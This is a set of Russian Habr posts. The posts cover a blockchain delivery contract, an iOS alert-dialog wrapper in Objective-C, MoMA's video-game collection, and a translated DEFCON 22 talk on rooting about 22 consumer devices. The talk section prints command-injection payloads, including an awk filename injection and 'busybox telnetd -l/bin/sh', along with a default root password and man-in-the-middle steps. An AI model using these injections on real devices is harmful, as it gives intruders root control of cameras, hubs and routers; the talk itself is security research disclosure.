По сути, контракт Osliki является открытой базой данных заказов на доставку, которую может использовать любое частное лицо, организация или какой-нибудь дрон по типу [Amazon Prime Air](https://www.amazon.com/Amazon-Prime-Air/b?ie=UTF8&node=8037720011).
Представьте себе предпринимателя с парком грузовых дронов, базирующихся на крыше какого-нибудь здания в вашем городе. Дроны мониторят базу данных в блокчейне и если заказ соответствует каким-то определенным параметрам (например приемлемый радиус действия и габариты груза), автоматически отправляют предложения и счета, а потом летят исполнять заказы.
Представьте себе Мистера X с Крэйглиста, который выращивает у себя на даче особо душистый сорт канабиса (конечно же в странах где это легально). Он кидает вам ссылку, по которой вы можете добавить заказ в Osliki с указанием ethereum-адреса Мистера X напрямую, чтобы другие ослики не спамили предложениями. Далее счёт, оплата и вот посылка у вас уже на руках. И даже в случае блокировки аккаунта Мистера X на Крэйглисте, поклонники его садоводческого таланта будут всегда помнить куда слать заказы.
Можно представить себе маркетплейс, где фермеры продают свои биологические овощи без ГМО “только что с грядки”, свежее молоко и мясо. Доставка может осуществляться, например, водителями, курсирующими из пригорода в город. Фермеры таким образом получат неограниченный доступ к розничным клиентам в обход супермаркетов.
Ну и изначальная идея с путешественниками, перевозящими посылки между городами и странами, также остается актуальной.
Планы
-----
Как часть платформы, сюда хорошо вписался бы такой же децентрализованный маркетплейс (Osliki Marketplace) или доска объявлений (Osliki Classifieds). Или, возможно, использовать уже готовые решения.
С использованием методов BigData и AI можно более глубоко анализировать поведение и статистику каждого пользователя и выдавать результаты о его благонадежности. Например можно выявлять пользователей, которые накрутили себе рейтинг.
На данный момент пока стоит задача реализовать front-end приложение osliki-js (как один из вариантов реализации) на каком-нибудь GitHub Pages, чтобы можно было привычным способом в браузере работать с контрактами. Плюс набор виджетов для встраивания на сайты.
Если тема вам показалась интересной, присоединяйтесь к разработке.
Ссылки
------
Ссылки на исходные коды на GitHub:
* [До](https://github.com/Artod/osliknet)
* [После](https://github.com/osliki/osliki)
Контракты на данный момент задеплоины в тестовой сети Ethereum Ropsten. Тестовый эфир, чтобы поиграться, можно получить [тут](http://faucet.ropsten.be:3001/).
Адреса контрактов:
* Osliki [0xa5AF61cE7deEb042e7Ad6A2118b183D3733E1D99](https://ropsten.etherscan.io/address/0xa5af61ce7deeb042e7ad6a2118b183d3733e1d99#readContract)
* ERC20-совместимый токен OSLIK [0x7ee36e1ddac343649edaa622f9bb067ed74545b2](https://ropsten.etherscan.io/address/0x7ee36e1ddac343649edaa622f9bb067ed74545b2) | https://habr.com/ru/post/351398/ | null | ru | null |
# Создание универсального UIAlertController'а для различных версий iOS
Одними из самых востребованных классов в UIKit до выхода iOS версии 8 являлись UIAlertView и UIActionSheet. Наверное, каждый разработчик приложений под мобильную платформу от Apple рано или поздно сталкивался с ними. Показ сообщений или меню выбора действий — это неотъемлемая часть практически любого пользовательского приложения. Для работы с этими классами, а точнее для обработки нажатий кнопок, программисту требовалось реализовывать в своем классе методы соответствующего делегата — UIAlertViewDelegate или UIActionSheetDelegate (если не требовалось чего-то сверх, то достаточно было реализовать метод clickedButtonAtIndex). На мой взгляд это очень неудобно: если внутри объекта создавалось несколько диалоговых окон с разными наборами действий, то их обработка все равно происходила в одном методе с кучей условий внутри. С выходом 8 версии iOS в составе UIKit появился класс UIAlertController, который пришел на смену UIAlertView и UIActionSheet. И одной из его главных отличительных черт является то, что вместо делегатов он использует блочный подход:
```
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:@"Hello" message:@"Habr!" preferredStyle:UIAlertControllerStyleAlert];
[alertController addAction:[UIAlertAction actionWithTitle:@"Action" style:UIAlertActionStyleDefault handler:^(UIAlertAction *action) {
// код обработчика кнопки
}]];
```
Такой подход позволяет писать более структурированный и логичный код. Отныне программисту больше не требуется разделять создание диалогового окна и обработку событий — UIAlertController устраняет это недоразумение, но одновременно с этим привносит историческую несправедливость из-за невозможности использования в iOS 7 и более ранних версиях. Решить эту проблему можно несколькими способами:
* Не обращать внимание на UIAlertController и продолжать использовать устаревшие UIAlertView и UIActionSheet.
* Использовать нестандартные диалоговые окна. Программист либо пишет собственную реализацию, что приводит к увеличению временных затрат, либо подключает сторонние компоненты (например, [SIAlertView](https://github.com/Sumi-Interactive/SIAlertView)), использование которых имеет ряд недостатков:
1. программные модули с хорошей поддержкой можно пересчитать по пальцам (зачастую их создатели быстро забрасывают это неблагодарное дело);
2. если в проекте используются несколько компонентов от разных разработчиков, то при их взаимодействии могут возникать проблемы (редко, но это возможно).
* Проверять версию iOS и создавать либо UIAlertController, либо UIAlertView или UIActionSheet.
Последний вариант наиболее логичен, и большинство разработчиков, я уверен, выбрали бы именно его, но данный метод имеет существенный недостаток — условие проверки версии операционной системы придется писать каждый раз, когда потребуется отобразить диалоговое окно. Столкнувшись с этим на практике, я создал специальный класс-обертку UIAlertDialog, который позволяет забыть об этой проблеме.
Идея заключается в том, чтобы удобный блочный синтаксис UIAlertController'а можно было использовать в своих проектах не ограничиваясь последними версиями iOS.
Определив стиль диалогового окна
```
typedef NS_ENUM(NSInteger, UIAlertDialogStyle) {
UIAlertDialogStyleAlert = 0,
UIAlertDialogStyleActionSheet
};
```
и тип блока-обработчика
```
typedef void(^UIAlertDialogHandler)(NSInteger buttonIndex);
```
можно перейти к структуре класса:
```
@interface UIAlertDialog : NSObject
- (instancetype)initWithStyle:(UIAlertDialogStyle)style title:(NSString \*)title andMessage:(NSString \*)message;
- (void)addButtonWithTitle:(NSString \*)title andHandler:(UIAlertDialogHandler)handler;
- (void)showInViewController:(UIViewController \*)viewContoller;
@end
```
**Внутри конструктора**
```
- (instancetype)initWithStyle:(UIAlertDialogStyle)style title:(NSString *)title andMessage:(NSString *)message {
if (self = [super init]) {
self.style = style;
self.title = title;
self.message = message;
self.items = [NSMutableArray new];
}
return self;
}
```
переданные параметры сохраняются во
**внутренние переменные**
```
@interface UIAlertDialog ()
@property (nonatomic) UIAlertDialogStyle style;
@property (copy, nonatomic) NSString *title;
@property (copy, nonatomic) NSString *message;
@property (strong, nonatomic) NSMutableArray *items;
@end
```
и инициализируется массив (items), который будет хранить действия кнопок.
Добавление новой кнопки:
```
- (void)addButtonWithTitle:(NSString *)title andHandler:(UIAlertDialogHandler)handler {
UIAlertDialogItem *item = [UIAlertDialogItem new];
item.title = title;
item.handler = handler;
[self.items addObject:item];
}
```
где UIAlertDialogItem — это
**специальный внутренний класс (аналог UIAlertAction)**
```
@interface UIAlertDialogItem : NSObject
@property (copy, nonatomic) NSString *title;
@property (copy, nonatomic) UIAlertDialogHandler handler;
@end
```
который хранит в себе текст кнопки и действие, связанное с ней.
И, наконец, метод *showInViewController*, инкапсулирующий создание диалогового окна в зависимости от версии операционной системы:
```
- (void)showInViewController:(UIViewController *)viewContoller {
if ([[UIDevice currentDevice].systemVersion intValue] > 7) {
[[NSOperationQueue mainQueue] addOperationWithBlock:^{
[self showAlertControllerInViewController:viewContoller];
}];
return;
}
if (self.style == UIAlertDialogStyleActionSheet) {
[[NSOperationQueue mainQueue] addOperationWithBlock:^{
[self showActionSheetInView:viewContoller.view];
}];
}
else {
[[NSOperationQueue mainQueue] addOperationWithBlock:^{
[self showAlert];
}];
}
}
```
Акцентирую ваше внимание на том, что каждый соответствующий метод выполняется не сразу, а добавляется в главную очередь на выполнение. Это обусловлено тем, что если в обработчике кнопки создается другое диалоговое окно, то оно будет отображено только после завершения всей анимации предыдущего диалога.
Рассмотрим подробно методы создания диалоговых окон:
**UIAlertController**
```
- (void)showAlertControllerInViewController:(UIViewController *)viewController {
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:self.title message:self.message preferredStyle:self.style == UIAlertDialogStyleActionSheet ? UIAlertControllerStyleActionSheet : UIAlertControllerStyleAlert];
NSInteger i = 0;
for (UIAlertDialogItem *item in self.items) {
UIAlertAction *alertAction = [UIAlertAction actionWithTitle:item.title style:UIAlertActionStyleDefault handler:^(UIAlertAction *action) {
NSInteger buttonIndex = i;
if (item.handler) {
item.handler(buttonIndex);
}
}];
[alertController addAction:alertAction];
i++;
}
UIAlertAction *closeAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"close", nil) style:UIAlertActionStyleCancel handler:nil];
[alertController addAction:closeAction];
[viewController presentViewController:alertController animated:YES completion:nil];
}
```
В этом листинге хотелось бы отметить строчку
```
NSInteger buttonIndex = i;
```
а точнее ее положение в коде. Благодаря свойству блока хранить контекст, в котором он был создан, становится возможным передача индекса нажатой кнопки в блок-обработчик. Такой способ необходим: UIAlertAction не содержит в себе нужного параметра.
**UIAlertView** и **UIActionSheet**
Согласно описанию UIAlertDialog, теперь создание диалогового окна выглядит следующим образом:
```
- (void)showMessage:(NSString *)message
{
UIAlertDialog *alertDialog = [[UIAlertDialog alloc] initWithStyle:UIAlertDialogStyleAlert title:message andMessage:nil];
[alertDialog showInViewController:self];
}
```
а в связи с тем, что этот класс является делегатом UIAlertView и UIActionSheet
```
@interface UIAlertDialog : NSObject
```
необходимо разъяснить один момент.
Как известно, делегаты в классе описывают как свойства с модификатором *weak*. Это означает, что если *strong* ссылок на объект-делегат больше не существует, то при попытке вызвать методы делегата возникнет исключение EXC\_BAD\_ACCESS.
В нашем случае именно это и произойдет — ARC удалит *alertDialog*, так как внешних ссылок на него нет. Проблему можно решить, если создать классы-наследники UIAlertView и UIActionSheet, добавив в них ссылку на объект диалога:
```
@interface UIAlertViewDialog : UIAlertView
@property (strong, nonatomic) UIAlertDialog *alertDialog;
@end
```
и
```
@interface UIActionSheetDialog : UIActionSheet
@property (strong, nonatomic) UIAlertDialog *alertDialog;
@end
```
Благодаря проделанным манипуляциям код создания диалоговых окон примет следующий вид:
```
- (void)showActionSheetInView:(UIView *)view {
UIActionSheetDialog *actionSheet = [[UIActionSheetDialog alloc] initWithTitle:self.title delegate:self cancelButtonTitle:nil destructiveButtonTitle:nil otherButtonTitles:nil];
actionSheet.alertDialog = self;
for (UIAlertDialogItem *item in self.items) {
[actionSheet addButtonWithTitle:item.title];
}
[actionSheet addButtonWithTitle:NSLocalizedString(@"close", nil)];
actionSheet.cancelButtonIndex = actionSheet.numberOfButtons - 1;
[actionSheet showInView:view.window];
}
```
**аналогично для UIAlertView**
```
- (void)showAlert {
UIAlertViewDialog *alertView = [[UIAlertViewDialog alloc] initWithTitle:self.title message:self.message delegate:self cancelButtonTitle:nil otherButtonTitles:nil];
alertView.alertDialog = self;
for (UIAlertDialogItem *item in self.items) {
[alertView addButtonWithTitle:item.title];
}
[alertView addButtonWithTitle:NSLocalizedString(@"close", nil)];
alertView.cancelButtonIndex = alertView.numberOfButtons - 1;
[alertView show];
}
```
и финальный штрих — обработка действий кнопок, происходит в методе соответствующего делегата:
```
- (void)actionSheet:(UIActionSheetDialog *)actionSheet clickedButtonAtIndex:(NSInteger)buttonIndex {
if (buttonIndex == actionSheet.numberOfButtons - 1) {
return;
}
UIAlertDialogItem *item = self.items[buttonIndex];
if (item.handler) {
item.handler(buttonIndex);
}
}
```
**UIAlertViewDelegate**
```
- (void)alertView:(UIAlertViewDialog *)alertView clickedButtonAtIndex:(NSInteger)buttonIndex {
if (buttonIndex == alertView.numberOfButtons - 1) {
return;
}
UIAlertDialogItem *item = self.items[buttonIndex];
if (item.handler) {
item.handler(buttonIndex);
}
}
```
**Заключение**
В итоге получилось простое и компактное решение, которое позволит значительно сократить время на работу с диалоговыми окнами ([исходный код](https://github.com/devnseven/uialertdialog)).
Спасибо за внимание! | https://habr.com/ru/post/242801/ | null | ru | null |
# 14 компьютерных игр выставлены в музее современного искусства
Музей современного искусства в Нью-Йорке начал собирать коллекцию компьютерных игр. Планируется, что там разместится около 40 наиболее заметных явлений. Пока в список попали 14 компьютерных игр. В том числе и [тетрис Алексея Пажитнова](http://www.moma.org/collection/object.php?object_id=152403).
При отборе игр в коллекцию учитывался не только дизайн картинки. Учитывались такие необходимые для игры вещи, как геймплей, удобство интерфейса, способность игры вовлечь игрока и создать настроение. Интересно, что при отборе игр учитывался также и качественный короткий код. При чем красоту кода планируется тоже выставить напоказ. При отборе игр учитывались мнения не только искусствоведов, но и специалистов программистов.
Пока не очень понятно, как будут выставляться игры. [Список уже отобранных игр](http://www.moma.org/explore/inside_out/2012/11/29/video-games-14-in-the-collection-for-starters):
* Pac-Man (1980)
* Tetris (1984)
* Another World (1991)
* Myst (1993)
* SimCity 2000 (1994)
* vib-ribbon (1999)
* The Sims (2000)
* Katamari Damacy (2004)
* EVE Online (2003)
* Dwarf Fortress (2006)
* Portal (2007)
* flOw (2006)
* Passage (2008)
* Canabalt (2009)
Так же уже известно, что организаторы будущей коллекции хотят включить в музейную экспозицию «Змейку», «Спейс Инвайдерс», «Зорк», «Супер Марио», «Грим Фанданго».
А так же объявлено, что самой молодой игрой в коллекции станет Minecraft.
Ну, и короткий перевод описаний игр на сайте музея современного искусства в Нью-Йорке. Это не полные переводы, а только то, что мне показалось интересным.
Pac-Man
-------
В момент создания данной игры самые популярные аркады были шутеры, типа Space Invaders и Asteroids. Автор игры Тору Иватани хотел развивать игру без насилия. Идея Пэкмена родилась у него в ресторане, и вдохновила, конечно, пицца.
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=164917).
Tetris
------
В переводе статьи меня удивило, что то игровое поле, где собираются фигурки из тетриса, которое у нас называется «Стакан», у них там называется не много не мало Matrix. А дальше интересны следующие слова:
Эта абстрактная головоломка, созданная в 1985 году Пажитновым, вызывает сильное привыкание. И при игре в течение длительного времени становится почти медитативной практикой. Тетрис стал наиболее универсальной из всех видео-игр, обращаясь к игрокам любого возраста, пола и географии. Он адаптирован практически для любой компьютерной системы.
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=152403).
Another World
-------------
В игре использовались новаторские передовые эффекты и звуки, а также графика. Игра была известный своей уникальной атмосферой и минималистской эстетикой. Автор Эрик Шайи́ (Éric Chahi) разрабатывал «Другой мир» самостоятельно, сохраняя тем самым почти полный творческий контроль над игрой.
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=162458).
Myst
----
Самая продаваемая компьютерная игра 90-х годов. Myst представил новое и сложное ощущение пространства и движения в компьютерных играх, с использованием продвинутой графики и 3D-анимации. Это был прорыв в дизайне видеоигр. В 90-е годы вокруг игры выросли целые общины фанатов. Код для графики игры был настолько велик, что он распространялся на CD-ROM дисках, что было очень круто для того времени (1993 год).
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=164918).
SimCity 2000
------------
В отличие от большинства игр, SimCity не имеет конкретной цели, кроме развития сильного и здорового города. Игра впервые была выпущена в 1989 году для персоналок. SimCity 2000 похож на оригинальную версию, но имеет ряд улучшений, таких как видимые высоты земли и подземного строительства. Игроки могут развивать город политически или стратегически. Могут менять общественный строй, или могут вызвать массовый хаос для собственного развлечения.
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=152406).
Vib-ribbon
----------
Мацуура, дизайнер и музыкант, работающий в Токио, является одним из создателей этой музыкальной видеоигры. Игрок может поставить любую свою музыку на компьютере (например, с CD-диска), и игра определяет темп трека. Белые линии на черном фоне образуют дорогу, по которой двигается главный герой, кролик по имени Вибри. Игрок преодолевает препятствия, их частота зависит от выбранной звуковой дорожки. Нажатие на правильные кнопки в нужное время позволит Вирби пройти целым и невредимым. Чем быстрее такт, тем быстрее игрок должен реагировать. Если игра проходит неудачно, Вирби превращается в лягушку, а затем в червяка. Если игра идет успешно, Вирби превратится в сказочную принцессу. В конце каждого уровня, Вирби поет поздравительную песню, которая становится все длиннее и длиннее.
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=162460).
The Sims
--------
Как и в SimCity, не существует ни определенной цели, ни универсального приема достижения успеха, просто возможны разные ситуации, в зависимости от творческих способностей игрока. The Sims был разработан как игра-стройка, как SimCity, но ограничена рамками пригородного дома, а не всего города. Контроль за поведением членов семьи, однако, оказался более интересным.
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=162461).
Katamari Damacy
---------------
Рискну самостоятельно перевести, что я понял, хотя в этом сюрре скорее всего наделаю кучу ошибок:
Автору игры Кейта Такахаси (Keita Takahashi), дали полную свободу творчества, и он не подвел. Сюжет примерно такой: из космоса на землю прилетел король космоса для того, чтобы собирать здесь шары всего (они же шары ничего). По сути король космоса ходит и собирает кучи мусора. Сюрреалистические формы взаимодействуют с реалистичными и вызывают восторг!
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=164919).
EVE Online
----------
EVE Online − многопользовательская онлайн-игра. В ней зависает более полумиллиона человек по всему миру. Фирма создатель игры CCP Games привлекла не только дизайнеров и разработчиков, а также экономистов и антропологов. CCP Games объясняет, что «власть (принадлежит) игрокам. Ничто не сравнится с игроком, который получает возможность влиять на Вселенную. Мы создаем инструменты для игроков, чтобы те создавали содержание».
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=162462).
Dwarf Fortress
--------------
Самые ранние компьютерные игры выводили изображения с помощью ASCII (Американский стандартный код для обмена информацией). Разработчики Dwarf Fortress, однопользовательской игры-фантазии, нарочно пренебрегли современной графикой, выбрав ретро-эстетическую. Вместо того, чтобы опираться на натуралистический трехмерный интерфейс, игра генерирует свой собственный сложный мир, который игрок может изменить.
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=164920).
Portal
------
К сожалению, ничего интересного в описании суперской игры на сайте современного искусства не написано, поэтому перевод опущу.
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=162463).
flOw
----
Опять прибегну к свободному переводу. Игроку необходимо развивать некое существо, которое свободно плавает в воде. игра подстраивается под каждого игрока индивидуально. Если вы более хорошо развиваете, то и ритмы игры ускоряется. Вы в игре должны достигнуть максимального напряжения своих интеллектуальных способностей.
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=164921).
Passage
-------
За 5 минут этой игры перед вами пролетит вся жизнь вашего персонажа. В отличие от других игр, здесь нет дополнительных жизней: «Ты умрешь только один раз, в самом конце, и вы не в силах предотвратить неизбежные потери». Постхардрок какой-то, не смотря на веселенький пиксельных дизайн.
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=145533).
Canabalt
--------
Canabalt − это новая интерпретация ранних видеоигр, в которой персонаж бежит слева направо через десятки смен экранов. Как в классических аркадах надо преодолевать препятствия, избегать падений. Смысл игры ясен, надо просто рассчитать скорость бега и высоту прыжка, но не все так просто, как кажется. Здесь важно учитывать многие факторы, в том числе и звуки. Игра Saltsman была разработана всего за неделю, (в том числе графика, которая состоит из всего 6 оттенков серого). Она занимает сотню килобайт. Остальные три мегабайта игры − это музыка и графика.
[Оригинал](http://www.moma.org/collection/browse_results.php?object_id=164922).
Постскрипт
----------
Обсуждение в комментариях превратилось в требование добавить в список любимые игры хабрапользователей. На мой взгляд это не совсем корректное требование. Все-таки музей современного искусства − это частная организация, хотя и одна из самых авторитетных.
[](http://habrahabr.ru/post/171853/)
С другой стороны, мы вправе знать, какие игры любим мы, хабрапользователи. Поэтому я создал отдельный пост, в котором сможем создать свой отдельный [рейтинг лучших компьютерных игр всех времен и народов по версии хабрасообщества 2013](http://habrahabr.ru/post/171853/). | https://habr.com/ru/post/171765/ | null | ru | null |
# Конференция DEFCON 22. Группа GTVHacker. Взламываем всё: 20 устройств за 45 минут. Часть 2
[Конференция DEFCON 22. Группа GTVHacker. Взламываем всё: 20 устройств за 45 минут. Часть 1](https://habr.com/company/ua-hosting/blog/424907/)
**Майк Бейкер:** следующее, 14-е устройство, к которому мы получили root-доступ – это смартфон Motorola RAZR LTE Baseband. Я не собираюсь говорить про Android, он уже «прорутован». Этот телефон особенный, так как использует Baseband – отдельный сигнальный процессор, изолированный от основного процессора. Это полностью отдельная часть аппаратного обеспечения смартфона.
Связь между Android и Baseband осуществляется через сетевое USB-подключение. Baseband прослушивает внутренний сетевой порт USB, имеет лимитированный доступ к оболочке через порт 3023 и запускает диагностический скрипт через порт 3002 как root.
Если посмотреть на сценарий, то видно, что с помощью языка AWK запускается команда busybox:
```
busybox awk '{print+substr(" ' "$ {outFilePath}" ' ",0,1)}’
```
То есть происходит передача имени файла через скрипт AWK. Это означает, что с помощью имени файла мы можем сделать инъекцию в оболочку. Для рутирования оболочки мы используем имя файла, содержащее:
```
x",0,1);system("…");("
```
Это позволяет вводить в систему любую команду и запускать её с root-правами.
Следующим взломанным устройством под номером 15 стал мобильный накопитель PogoPlug Mobile, служащий персональным «облачным» хранилищем. Он используется для передачи контента с вашего мобильного устройства куда угодно, подключаясь к домашней сети и обмениваясь файлами по интернету.
Стоимость этого устройства менее $10. К нему можно подключить USB-привод или SD-карту и он автоматически загрузит информацию в облако. Он базируется на процессоре Marvell Feroceon и управляется ОС Linux 2.6.31.8.
На печатной плате расположены 4 традиционных контакта для подключения UART, что даёт нам доступ к загрузчику и корневой оболочке, но мы также можем внедрить командную строку с помощью веб-страницы.
Использование такого интерфейса позволяет вводить произвольные команды и запускать их от имени суперпользователя с root-правами.
Следующий экспонат №16 – телевизионная приставка Netgear Push2TV (PTV3000). Она использует открытую технологию Miracast, поддерживаемую Google, которая встречается в некоторых моделях смартфонов и планшетов с Android и технологию Intel WiDi.
На печатной плате этого беспроводного приёмника имеются выводы UART, через которые можно подключиться к устройству, затем нажать на клавишу «пробел» во время загрузки, прервав тем самым работу U-boot, и запустить ваши собственные команды для Linux. Вы можете не возиться с загрузчиком и использовать консоль Root, которая активна в течении 2-3 с после загрузки. Возможно также внедрение команд по веб-интерфейсу через имя устройства, при этом команда будет выполняться от имени суперпользователя с root-правами. Чип памяти SPI Flash, содержащий команды U-boot, может быть перепрошит для запуска вашего пользовательского загрузчика.
Устройство №17 – VOIP роутер Ooma Telo, работающий под управлением ОС OpenWRT и оборудованный процессором ARM.
Здесь снова присутствует UART, который использует консольный вход, но мы рассматриваем инъекции команд. Здесь также имеется SSH порт, который работает по умолчанию как файервол, поэтому нам вначале нужно внедрить команду, которая изменит правила этого файервола. Мы сделали это через веб-интерфейс, чтобы иметь возможность впоследствии ввести любую команду. Интересно, что пароль по умолчанию для root-доступа был «!ooma123», поэтому взломать его не составило особого труда. Как только мы вошли, то сразу «сбросили» файл паролей и начали взлом. По умолчанию SSH доступен только по сети LAN.
На следующем слайде приведён веб-интерфейс Oоmа Telo, стрелкой показана строка, куда мы вводили команду. Возможность отрегулировать правила таблиц IP-адресов даёт доступ к SSH, где можно использовать предоставленный пароль.
Устройство №18 – потоковый плеер мультимедиа Netgear NTV200-100NAS на основе Adobe Flash стоимостью от 10 до $30, который воспроизводит файлы формата SWF.
Он оборудован модулем Wi-Fi, процессором Broadcom SOC с зашифрованным и подписанным обновлением прошивки.
На печатной плате всё подписано, поэтому найти UART не составило никакого труда. Но давайте поговорим об инъекции командной строки через веб-интерфейс, так как обновления и приложения загружаются в этот плеер по незашифрованному HTTPS-соединению. Это очень плохая идея, потому что в отличие от зашифрованных апдейтов, приложения можно свободно загрузить и установить. Поэтому при установке приложения появляется возможность использовать атаку типа «человек посередине»:
* cоздаём копию приложения;
* вставляем в неё вредоносную «мягкую» ссылку symlink;
* перепаковыем приложение и размещаем его на локальном хосте;
* запускаем приложение;
* снова его модифицируем, добавляя во время работы скрипт оболочки, содержащий внутри symlink для вызова Telnet;
* опять запускаем приложение, перегружаемся, и теперь у нас есть постоянный root-доступ!
Итак, двигаемся дальше. Устройство под номером 19 – ASUS Cube, «мост» между интернетом и потоковым видео, приставка, обеспечивающая широкомасштабное функционирование аппаратно-программной платформы Google TV. Она оборудована двухъядерным процессором Marvell 88de3100 SOC частотой 1,2 ГГц. На конференции DefCon 21 мы уже представляли дополнительный эксплойт CubeRoot для этого устройства, который предназначался для контроля над процессором в режиме безопасной загрузки.
У нас было приложение, доступное на Play Store, к сожалению Google изъял его, они не любят подобные приложения. Давайте поговорим о том, как нам снова вернуться в этот куб. Встроенные в него мультимедийные приложения позволяют смонтировать сетевой протокол SMB для удалённого доступа к файлам, в данном случае они позволяют делиться файлами Windows без всяких ограничений. Процедура получения root-прав заключается в следующем:
* создание SMB share с помощью двоичного файла суперпользователя;
* использование медийного приложения для соединения с SMB share;
* добавление его в Cube, запуск двоичного файла суперпользователя, получение рут-прав!
* Перемонтирование системы, установка SuperSu и полный контроль над возможностями устройства.
На этом я передаю слово Амиру.
**Амир Этемади:** спасибо, Майк!
Давайте продолжим нашу забаву и рассмотрим ещё несколько интересных устройств. Я хочу рассказать вам о радионяне – мониторе активности ребёнка под названием Summer Baby Zoom WiFi.
Это устройство позволяет с помощью видеокамеры наблюдать за детьми и передавать изображение на смартфон по Wi-Fi. У него есть собственный компактный монитор с динамиком и дисплеем, позволяющий удалённо управлять камерой по радиоканалу связи. На рынке оно позиционируется как «защищённое». Это 20-е взломанное нами устройство.
Разобрав его, мы как обычно стали в первую очередь искать UART и разглядели контакты, подключиться к которым было довольно трудно. Как нам это удалось, мы можем рассказать после презентации, а сейчас рассмотрим ошибки, которые допустили разработчики этого устройства при его создании.
Первая ошибка – это иметь жестко закодированные имя пользователя и пароль на устройстве, которое использует двоичный файл для общения с веб-интерфейсом. Это просто ужасная практика. С точки зрения безопасности, у вас не должно быть жестко закодированных учётных данных на каждом отдельном устройстве.
Мы нашли интересную зашифрованную строку и системные вызовы в двоичном файле “snapcam”, в которых содержались данные аутентификации. Далее мы перешли к разбору жёстко закодированных данных.
Осуществив из командной строки системный вызов «nvram show», мы получили список из 3-х пользователей и их пароли. Два пользователя имели пароли, которые отличались для каждой камеры, и предоставляли разные пользовательские права.
Далее мы нашли системный файл конфигурации SystemGT.cgi, доступ к которому обеспечивался с помощью полномочий admin, и который напрямую исполнялся с помощью оператора system () от имени суперпользователя. Мы ввели командную строку, показанную внизу следующего слайда, и получили доступ к серверу Telnet с root-правами.
Помните, что в большинстве случаев, когда устройство не защищено паролем, можно проникнуть в оболочку, просто введя в командную строку выражение типа l/bin/login.
Во многих случаях можно использовать команду /bin/sh, и если кто-то при этом входит в устройство нормальным способом, злоумышленника сразу же отбрасывает в оболочку. Поэтому не позволяйте людям подсоединиться к своему устройству, сохраняйте его в безопасности.
Итак, поскольку это DefCon 22, почему мы нам не рассказать о взломе 22 устройств за 45 минут? Поэтому продолжим презентацию ещё двумя устройствами.
Давайте перейдем к следующему пункту в нашем списке – это автономная веб-камера Samsung SmartCam с микрофоном и динамиком. Она может управляться с помощью мобильного приложения, а для локального доступа использует веб-интерфейс. Камера оборудована процессором TI DaVinci ARM SOC и работает под ОС Linux 2.6.18. Конструктивно это устройство очень похоже на радионяню Summer Baby Zoom WiFi, но она не изменяет своего положения для слежения за объектом.
На печатной плате расположен классический UART-адаптер с контактами приёмника, передатчика, заземления и питания. Ниже расположена колодка контактов для настройки подключения. Здесь используется только метод Console Logging, который выводит отладочную информацию в консоль, скрывая её от пользователя.
Интересно, что мы обнаружили это, глядя, как происходит обработка логинов и как создаётся оригинал пароля администратора при первой настройке устройства. При этой настройке предлагается установить свой собственный пароль администратора. Недостатком является то, что устройство не проверяет, если пароль уже настроен, так что можно вызывать скрипт, чтобы изменить существующий пароль на пароль администратора. Таким образом существует возможность переустановить пароль администратора устройства, не зная пароля пользователя. Доступ к командной строке возможен только по LAN.
Ключ шифрования WEP не проверяется для команд оболочки и помещён в файл конфигурации, откуда его можно вытащить и использовать для ввода команд через консоль. При этом вы должны отключить сетевой кабель, если камера уже подключена к сети через Wi-Fi, потому что если вы меняете WEP ключ, когда камера подключена через Wi-Fi, устройство может отключить вас и вы потеряете к нему доступ.
Если камера подключена к сети Wi-Fi, она может быть взломана без физического контакта с устройством, после чего веб-интерфейс начинает работать с рут-правами.
Таким образом, инъекция команды суперпользователя производится изменением WEP-ключа доступа к сети Wi-Fi. Для того, чтобы подключиться к сети Telnet, достаточно ввести команду $(busybox telnetd — l/bin/sh)
Наиболее интересным из всех рассмотренных устройств нам показалось устройство №22, потому что оно предоставляет большое поле деятельности для хакеров. Это устройство называется Wink Hub, и оно нравится мне больше других преимущественно потому, что имеет большой ассортимент периферийных девайсов.
Эта штука управляет всеми беспроводными «умными» домашними устройствами с помощью мобильного приложения, что позволяет отказаться от отдельных пультов управления. Wink Hub имеет модуль Wi-Fi, Bluetooth, Zwawe и Zigbee, а также отличный плод труда разработчиков RF Toolkit.
Это программный инструментарий для любого хакера, так как через него осуществляется взаимодействие периферийных устройств. Wink Hub по сути домашний шлюз, который объединяет устройства с уже настроенными API, располагающий всеми методами коммуникации, в нём даже есть собственный набор устройств, начиная от сигнализатора утечки газа и заканчивая датчиками для регулировки влажности, температуры, освещения и обнаружения движения. Он также управляет умными замками и получает информацию о состоянии всех контролируемых устройств.
На следующем слайде показана плата, которая выглядит довольно красиво.
Итак, это доска, это действительно красиво.
Здесь всё подписано, и что ещё приятно в этом устройстве – его стоимость менее 50$, причём действует предложение, что если вы покупаете периферийные устройства, то можете получить Wink Hub бесплатно. Поэтому если вы интересуетесь RF устройствами, это реально классная плата.
На ней расположены отдельные чипы для каждого вида подключаемых устройств, которые она поддерживает. Итак, это устройство имеет ошибку инъекции командной строки. Если вы не разбираетесь в PHP, существует команда sudo, которая позволяет выполнять программы с привилегиями администратора без ввода пароля суперпользователя.
Эта команда придаёт идентификатору узла node ID узла значение атрибута ID переменными POST. Так что возьмите эту команду себе на вооружение, и когда вернётесь домой, купите себе это устройство и развлекайтесь с ним как хотите.
Ну а сейчас мы покажем вам то, чего вы так долго ждали! Видеозапись демонстрации взлома всех 22 устройств пройдёт под настоящий хакерский рэрп! Для этого мы пригласили нашего друга, репера Нэда из Dual Core! Поприветствуем его и песню «Все эти вещи»!
У нас здесь есть почти сотня различных адаптеры UART, и компакт-диски Сhromecast, и пока вы будете смотреть видео и наслаждаться рэпом, мы пройдём в зал и раздадим вам всё это.
